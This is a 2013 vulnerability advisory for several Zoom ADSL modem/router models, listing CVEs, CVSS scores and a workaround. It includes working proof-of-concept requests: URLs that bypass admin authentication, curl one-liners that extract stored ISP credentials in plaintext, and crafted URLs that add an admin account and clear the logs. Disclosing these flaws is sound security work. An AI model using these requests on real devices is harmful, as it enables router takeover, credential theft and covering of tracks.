Five models of the Zoom Telephonics ADSL Modem/Router line suffer from multiple critical vulnerabilities, almost all being of a remote access attack vector. Models affected: Zoom X3 ADSL Modem/Router Zoom X4 ADSL Modem/Router Zoom X5 ADSL Modem/Router Zoom ADSL Bridge Modem Model 5715 (1 vulnerability) Zoom USB ADSL Modem Model 5510B (1 vulnerability) Timeline: The vendor has not responded to our inquires concerning these vulnerabilities. They were first reported on June 28th, 2013 and partial disclosure was made on July 9, 2013. ---------------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------------------- Directory Traversal/Unauthenticated access to administrative panels CVSS Base Score 9.7 Impact Subscore 9.5 Temporal Score: 8.3 (AV:N/AC:L/Au:N/C:P/I:C/A:C/E:F/RL:W/RC:UR/CDP:H/TD:H/CR:ND/IR:ND/AR:ND) CWE-22: Improper Limitation of a Pathname to a Restricted Directory CVE-2013-5622 - Zoom X3 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X 2.2.X 2.5.X 3.2 CVE-2013-5627 - Zoom X4 ADSL Modem Firmware 1.0.X 2.0.X 2.1.X 2.5.X 3.0.X CVE-2013-5624 - Zoom X5 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X 2.2.X 2.5.X 3.0.X By simply placing the following two URLs into a web browser, a vulnerability will all models and firmware versions allow for bypass of administrative credential challenge. All models and firmware versions can access these pages with no authentication. An un-authenticated user can preform almost all administrative tasks once the authentication is bypassed. http://<IP>/hag/pages/toc.htm (--Menu Banner) http://<IP>/hag/pages/toolbox.htm (-Advanced Options Menu) ---------------------------------------------------------------------------------------------------------------- Improper handling of unexpected characters/data CVSS Base Score 8.3 Impact Subscore 8.5 Temporal Score: 6.7 (AV:N/AC:M/Au:N/C:P/I:P/A:C/E:POC/RL:W/RC:UR) CWE-241: Improper Handling of Unexpected Data Type CVE-2013-5623 - Zoom X3 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X 2.2.X 2.5.X 3.2 CVE-2013-5628 - Zoom X4 ADSL Modem Firmware 1.0.X 2.0.X 2.1.X 2.5.X 3.0.X CVE-2013-5631 - Zoom X5 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X 2.2.X 2.5.X 3.0.X CVE-2013-5632 - Zoom ADSL Bridge Modem Model 5715; all firmware versions CVE-2013-5633 - Zoom USB ADSL Modem Model 5510B; all firmware versions When an unexpected/illegal character is added to the end of any URL which calls a value, such as http://<IP>/MainPage?id=25' the browser will immediately redirect the browser to the "System Status" page without authentication, where links to each interface (i.e. eth-0,usb-0,etc) is both selectable whose properties can be edited. ---------------------------------------------------------------------------------------------------------------- Plain text storage of ISP/PPPoe usernames/passwords CVSS Base Score 6.8 Impact Subscore 6.4 Temporal Score: 8.6 (AV:N/AC:M/Au:N/C:P/I:P/A:P/E:POC/RL:W/RC:UR) CWE-311: Missing Encryption of Sensitive Data CVE-2013-5620 - Zoom X3 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X 2.2.X 2.5.X 3.2 CVE-2013-5626 - Zoom X4 ADSL Modem Firmware 1.0.X 2.0.X 2.1.X 2.5.X 3.0.X CVE-2013-5629 - Zoom X5 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X 2.2.X 2.5.X 3.0.X The following command will display the ISP usernames and passwords. (The print value may vary slightly based on firmware.) Proof of Concept curl -s http://<IP>/MainPage?id=25 |egrep -i 'MacWanPasswd'|awk '{ print $8 }' value="wanpasswd1" ('or similar') curl -s http://<IP>/MainPage?id=25 |egrep -i 'MacWanUsrName'|awk '{ print $21 }' value="user@usersisp.net" ('or similar') ---------------------------------------------------------------------------------------------------------------- Unauthenticated direct execution of administrative tasks CVSS Base Score 10.0 Impact Subscore 10.0 Temporal Score: 8.6 (AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:W/RC:UR/CDP:H/TD:H/CR:ND/IR:ND/AR:ND) CWE-285: Improper Authorization CVE-2013-5621 - Zoom X3 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X 2.2.X 2.5.X CVE-2013-5625 - Zoom X4 ADSL Modem Firmware 1.0.X 2.0.X 2.1.X 2.5.X CVE-2013-5630 - Zoom X5 ADSL Modem Firmware 1.0.X 1.1.X 2.0.X 2.1.X 2.2.X 2.5.X Administrative authentication can be bypassed and commands directly executed with specially crafted commands. Proofs of Concept - Create New Acct Admin or Intermediate - (all PW and admin names are 'or similar') http://<IP>/hag/emweb/PopOutUserAdd.htm?id=70&user_id="newintermediateaccount"&priv=v2&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes Clear Logs http://<IP>/Action?id=76&cmdClear+Log=Clear+Log ---------------------------------------------------------------------------------------------------------------- Fixes/Patches: There are no known patches or fixes for these vulnerabilities at this time. Workaround: It is advised to turn off all remote administrative access to the router. This workaround however, will not prevent local attacks. ---------------------------------------------------------------------------------------------------------------- External Links http://www.osvdb.org/show/osvdb/95071 http://xforce.iss.net/xforce/xfdb/85612 http://www.idappcom.com/db/?7819 Vendor Links http://www.zoomtel.com/products/5715.html http://www.zoomtel.com/graphics/datasheets/adsl/USB_3104_5510B.pdf http://www.zoomtel.com/products/adsl_overview.html http://www.zoomtel.com/products/5760.html http://www.zoomtel.com/products/5751.html http://www.zoomtel.com/products/5754.html Discovered - 06-28-2013 Updated - 09/01/2013 Research Contact - K Lovett Affiliation - QuattroSG